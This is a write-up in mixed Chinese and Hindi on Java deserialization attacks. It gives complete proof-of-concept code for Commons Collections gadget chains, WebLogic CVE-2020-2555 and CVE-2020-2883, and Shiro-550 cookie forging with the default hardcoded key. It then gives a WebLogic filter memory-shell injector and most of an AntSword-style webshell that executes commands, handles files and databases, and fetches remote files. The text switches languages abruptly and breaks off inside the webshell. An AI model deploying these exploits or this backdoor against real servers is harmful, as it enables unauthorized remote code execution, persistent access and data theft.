public class MyCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers);
Class clazz = ChainedTransformer.class;
Field iTransformers = clazz.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
Transformer[] transformers1 = new Transformer[]{
new InvokerTransformer("toString", new Class[]{}, new Object[]{})
};
ChainedTransformer chain1 = new ChainedTransformer(transformers1);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain1));
queue.add("1");
queue.add("1");
iTransformers.set(chain1, transformers);
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = 1;
byte[] bytes = Serializables.serializeToBytes(queue);
Serializables.deserializeFromBytes(bytes);
}
}
其实就是把CC5的前半段和CC2的后半段拼一起,用CC5链式调用执行命令,用CC2触发toString。
## Java ClassLoader द्वारा क्लास लोड करने के कई तरीके
> Java एक संकलित भाषा है, सभी Java कोड को बाइटकोड में संकलित करना होता है ताकि JVM उसे निष्पादित कर सके। Java क्लास इनिशियलाइज़ेशन के समय `java.lang.ClassLoader` को कॉल करता है जो क्लास बाइटकोड लोड करता है, ClassLoader `defineClass` विधि को कॉल करके एक `java.lang.Class` क्लास इंस्टेंस बनाता है।
ClassLoader वर्ग एक अमूर्त वर्ग है, इसे सीधे उपयोग नहीं किया जा सकता। JDK में कुछ ठोस कार्यान्वयन वर्ग हैं, जैसे DefiningClassLoader, BCEL ClassLoader, GroovyClassLoader, URLClassLoader, Jython में PythonInterpreter का org.python.core.BytecodeLoader आदि, और आप स्वयं ClassLoader भी लागू कर सकते हैं।
यह लेख मुख्य रूप से तीन प्रकारों की व्याख्या करता है: URLClassLoader, BytecodeLoader और स्वयं परिभाषित ClassLoader जो बाइटकोड से क्लास लोड करते हैं।
### URLClassLoader```java
package org.chabug.loader;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderDemo {
public static void main(String[] args) throws Exception {
// URL url = new URL("https://baidu.com/cmd.jar"); // 也可以加载远程jar
URL url = new URL("file:///d:/calc.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 通过URLClassLoader加载jar包
Class<?> aClass = ucl.loadClass("org.chabug.demo.Calc");
aClass.newInstance();
}
}
जार पैकेज बनाने का कमांड jar cvf calc.jar Calc.class है, दुर्भावनापूर्ण कोड सीधे static कोड ब्लॉक में लिखा जाता है, newInstance() के माध्यम से नया क्लास इंस्टेंस बनाने पर यह स्वचालित रूप से निष्पादित होता है।

सफलतापूर्वक कैलकुलेटर खुल गया।

package org.chabug.loader;
import org.python.util.PythonInterpreter;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream;
public class BytecodeLoaderLoader { public static void main(String[] args) throws Exception { String className = "org.chabug.demo.Calc"; byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class"); String classBytes = ""; for (byte b : bytes) { classBytes += String.format("%s%s", b, ","); } String s = String.format("from org.python.core import BytecodeLoader;\n" + "from jarray import array\n" + "myList = [%s]\n" + "bb = array( myList, 'b')\n" + "BytecodeLoader.makeClass("%s",None,bb).getConstructor([]).newInstance([]);", classBytes, className); PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); instance.exec(s); }
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

### कस्टम ClassLoader
```java
package org.chabug.loader;
import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;
public class MyLoader extends ClassLoader {
public static String className = "org.chabug.demo.Calc";
public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");
public static void main(String[] args) throws Exception {
new MyLoader().loadClass(className).newInstance();
}
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(className)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(className, bytes, 0, bytes.length);
}
return super.findClass(name);
}
}
ये दोनों छेद CC श्रृंखला के रूप में बहुत समान हैं, बस gadget का निर्माण अलग है। पहले सबसे पहले सामने आए CVE-2020-2555 को देखते हैं।
समस्या com.tangosol.util.extractor.ReflectionExtractor#extract में है।```java public Object extract(Object oTarget) { if (oTarget == null) { return null; } else { Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
和CC链的transform()一模一样,所以也需要寻找一个和ChainedTransformer的类```java
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
this.getExtractors() का मूल इसके मूल वर्ग AbstractCompositeExtractor में है```java protected ValueExtractor[] m_aExtractor; public ValueExtractor[] getExtractors() { return this.m_aExtractor; }
और com.tangosol.util.filter.LimitFilter#toString में extract() ट्रिगर होगा```java
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
}
इन कुछ पर ध्यान दें```java ValueExtractor extractor = (ValueExtractor)this.m_comparator; extractor.extract(this.m_oAnchorTop) extractor.extract(this.m_oAnchorBottom)
इस वर्ग के फ़ील्ड देखें```java
private Comparator m_comparator;
private Object m_oAnchorTop;
private Object m_oAnchorBottom;
m_comparator Comparator प्रकार का है, और ChainedTransformer इस इंटरफ़ेस को लागू करता है।

इसलिए m_comparator में chainedExtractor ऑब्जेक्ट रखा जा सकता है, और फिर m_oAnchorTop में Runtime.class डाल दिया जाता है।
सारांश: BadAttributeValueExpException का उपयोग करके LimitFilter के toString() को ट्रिगर करें, फिर ChainedExtractor श्रृंखला के माध्यम से extract() को कॉल करके Runtime को निष्पादित करें।```java package org.chabug.cve;
import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import org.chabug.util.Serializables;
import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;
public class CVE_2020_2555 { public static void main(String[] args) throws Exception { ReflectionExtractor extractor1 = new ReflectionExtractor( "getMethod", new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"cmd", "/c", "calc"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
// serialize
byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException);
Serializables.deserializeFromBytes(buf);
}
}
### CVE-2020-2883
2883 वास्तव में वह श्रृंखला है जिसे हमने पहले दो CC链 से प्राप्त किया था।```java
package org.chabug.cve;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CVE_2020_2883 {
public static void main(String[] args) throws Exception {
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
reflectionExtractor1,
reflectionExtractor2,
reflectionExtractor3,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
byte[] buf = Serializables.serializeToBytes(queue);
}
}
संपूर्ण शोषण श्रृंखला```java /*
दोनों CVEs का पहला भाग समान है, दोनों ChainedExtractor के माध्यम से Runtime की chain बनाते हैं। 2555 में BadAttributeValueExpException का उपयोग किया गया है, और 2883 में PriorityQueue का।
## Shiro-550 rememberMe हार्डकोडेड कुंजी के कारण डिसीरियलाइज़ेशन RCE
पहले यह समझना आवश्यक है कि Shiro एक प्रमाणीकरण ढाँचा है, जिसका सिद्धांत Servlet के फ़िल्टर पर आधारित है। Shiro लाइब्रेरी web.xml में ShiroFilter को परिभाषित करती है, जिसका दायरा वर्तमान निर्देशिका के सभी URL पर है।

कुकी की प्रक्रिया `CookieRememberMeManager` वर्ग में होती है, जो `AbstractRememberMeManager` को इनहेरिट करता है। `AbstractRememberMeManager` में एन्क्रिप्शन कुंजी `DEFAULT_CIPHER_KEY_BYTES` हार्डकोडेड है।

AES CBC सममित एन्क्रिप्शन के माध्यम से, फिर org.apache.shiro.io.DefaultSerializer द्वारा सीरियलाइज़ और डिसीरियलाइज़ किया जाता है।

इसके एन्क्रिप्शन एल्गोरिदम और हार्डकोडेड कुंजी को जानने के बाद, डिसीरियलाइज़ेशन RCE के लिए दुर्भावनापूर्ण ऑब्जेक्ट बनाया जा सकता है। एन्क्रिप्शन एल्गोरिदम इस प्रकार है।```java
package org.chabug.util;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
public class EncryptUtil {
private static final String ENCRY_ALGORITHM = "AES";
private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV
public EncryptUtil() {
}
public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
try {
SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
Cipher cipher = Cipher.getInstance(CIPHER_MODE);
IvParameterSpec iv = new IvParameterSpec(IV);
cipher.init(1, keySpec, iv);
byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
return cipherTextBytes;
} catch (NoSuchPaddingException var6) {
var6.printStackTrace();
} catch (NoSuchAlgorithmException var7) {
var7.printStackTrace();
} catch (BadPaddingException var8) {
var8.printStackTrace();
} catch (IllegalBlockSizeException var9) {
var9.printStackTrace();
} catch (InvalidKeyException var10) {
var10.printStackTrace();
} catch (Exception var11) {
var11.printStackTrace();
}
return null;
}
public static String shiroEncrypt(String key, byte[] objectBytes) {
byte[] pwd = Base64.decode(key);
byte[] cipher = encrypt(objectBytes, pwd);
assert cipher != null;
byte[] output = new byte[pwd.length + cipher.length];
byte[] iv = IV;
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
return Base64.encode(output);
}
}
CC5 का उपयोग करके rememberMe कुकी उत्पन्न करें```java package org.chabug.shiro;
import org.chabug.util.EncryptUtil; import org.chabug.util.Serializables; import ysoserial.payloads.CommonsCollections5;
public class Shiro550 { public static void main(String[] args) throws Exception { CommonsCollections5 cc = new CommonsCollections5(); Object calc = cc.getObject("calc"); byte[] bytes = Serializables.serializeToBytes(calc); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); } }
bp पैकेट भेजना

लक्ष्य पर कैलकुलेटर पॉप अप हुआ

## WebLogic + Shiro डीसीरियलाइज़ेशन एक क्लिक रजिस्टर फ़िल्टर मेमोरी शेल
अब मुख्य विषय पर आते हैं, पहले समग्र विचार बताते हैं:
सामने आए लक्ष्य शिरो में कोई उपलब्ध गैजेट नहीं है, लेकिन पता चला कि इसकी कुंजी डिफ़ॉल्ट `kPH+bIxk5D2deZiIxcaaaA==` है। 404 त्रुटि पृष्ठ से पता चला कि यह WebLogic है, और CVE-2020-2883 के गैजेट के माध्यम से सफलतापूर्वक RCE प्राप्त हुआ, लेकिन नेटवर्क आउटगोइंग नहीं है, इसलिए रिवर्स शेल नहीं ले सकते। इसके अलावा, यह SpringMVC है और jsp फ़ाइल लिखने पर भी एक्सेस नहीं हो सकता, इसलिए केवल फ़िल्टर मेमोरी शेल बनाना है।
संक्षेप में:
1. डीसीरियलाइज़ेशन का प्रवेश बिंदु शिरो है
2. गैजेट 2883 है
3. 2883 URLClassLoader के माध्यम से बाइटकोड परिभाषित करता है
4. बाइटकोड में मेमोरी शेल रजिस्टर करने का कोड लिखा जाता है
5. फ़िल्टर शेल वेबलॉजिक की मेमोरी में रजिस्टर होता है
पहले शिरो + 2883 गैजेट उपयोग की समस्या हल करें, असल में पहले 2883 द्वारा उत्पन्न क्यू ऑब्जेक्ट को शिरो में AES base64 एन्क्रिप्टेड करके ले जाना है।```java
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
बाइटकोड को परिभाषित करने के लिए पहले बाइटकोड वर्ग लिखना होगा, जो मेमोरी शेल इंजेक्ट करने का कोड है।```java package org.chabug.memshell;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map;
public class InjectFilterShell { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "shell") == null) {
byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
String evilName = "gameName" + System.currentTimeMillis();
String filterName = "gameFilter" + System.currentTimeMillis();
String[] url = new String[]{"/*"};
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, filterName, evilFilterClass);
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
जार पैकेज बनाने के बाद, `base64 -d` कमांड के माध्यम से लिखें, जिसका उपयोग हम बाद में `URLClassLoader` के माध्यम से इस जार पैकेज को लोड करने के लिए करेंगे। क्योंकि कोड `static` ब्लॉक में है, इसलिए लोड करने पर यह स्वचालित रूप से निष्पादित होगा।
अब 2883 के माध्यम से `URLClassLoader` का उपयोग करके हमारे पिछले जार पैकेज के कोड को लिखें```java
package org.chabug.memshell;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.EncryptUtil;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;
public class CVE_2020_2883_URLClassLoader {
public static void main(String[] args) {
try {
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{URL[].class}}
);
ReflectionExtractor extractor2 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
);
// load filter shell
ReflectionExtractor extractor3 = new ReflectionExtractor(
"loadClass",
new Object[]{"org.chabug.memshell.InjectFilterShell"}
);
ReflectionExtractor extractor4 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{}}
);
ReflectionExtractor extractor5 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{}}
);
ValueExtractor[] valueExtractors = new ValueExtractor[]{
extractor1,
extractor2,
extractor3,
extractor4,
extractor5,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = URLClassLoader.class;
queueArray[1] = "1";
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
} catch (Exception e) {
e.printStackTrace();
}
}
}
URLClassLoader के माध्यम से org.chabug.memshell.InjectFilterShell क्लास को लोड करता है, यह स्वचालित रूप से static को निष्पादित करता है, static में C:/Users/Administrator/Desktop/AntSwordFilterShell.class का बाइटकोड पढ़ता है, फिर बाइटकोड को परिभाषित करके AntSwordFilterShell क्लास को इंजेक्ट करता है, AntSwordFilterShell यानी हमारा Filter shell है, कोड इस प्रकार है:```java package org.chabug.memshell;
import javax.servlet.; import java.io.; import java.net.HttpURLConnection; import java.net.URL; import java.sql.*; import java.text.SimpleDateFormat;
public class AntSwordFilterShell implements Filter{
String Pwd = "th1sIsMySecretPassW0rd!"; //连接密码
String encoder = ""; // default
String cs = "UTF-8"; // 脚本自身编码
String EC(String s) throws Exception {
if (encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes("ISO-8859-1"), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases"; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t"; // general
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(ServletRequest r) throws Exception {
// String d = r.getSession().getServletContext().getRealPath("/");
String d = this.getClass().getClassLoader().getResource("/").getPath();
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
return s += sF;
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
bw.write(fileContext);
bw.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(ServletRequest r) throws Exception {
// String d = r.getServletContext().getRealPath("/"); String d = this.getClass().getClassLoader().getResource("/").getPath(); String serverInfo = System.getProperty("os.name"); String separator = File.separator; String user = System.getProperty("user.name"); String driverlist = WwwRootPathCode(r); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; }
boolean isWin() {
String osname = System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) {
if (encode.equals("hex") || encode == "hex") {
if (str == "null" || str.equals("null")) {
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try {
for (int i = 0; i < str.length() - 1; i += 2) {
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char) decimal);
temp.append(decimal);
}
} catch (Exception e) {
e.printStackTrace();
}
return sb.toString();
} else if (encode.equals("base64") || encode == "base64") {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}
public void init(FilterConfig f) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("size") != null) {
response.setContentType("text/html");
response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = {z0, z1, z2, z3};
sb.append("->|");
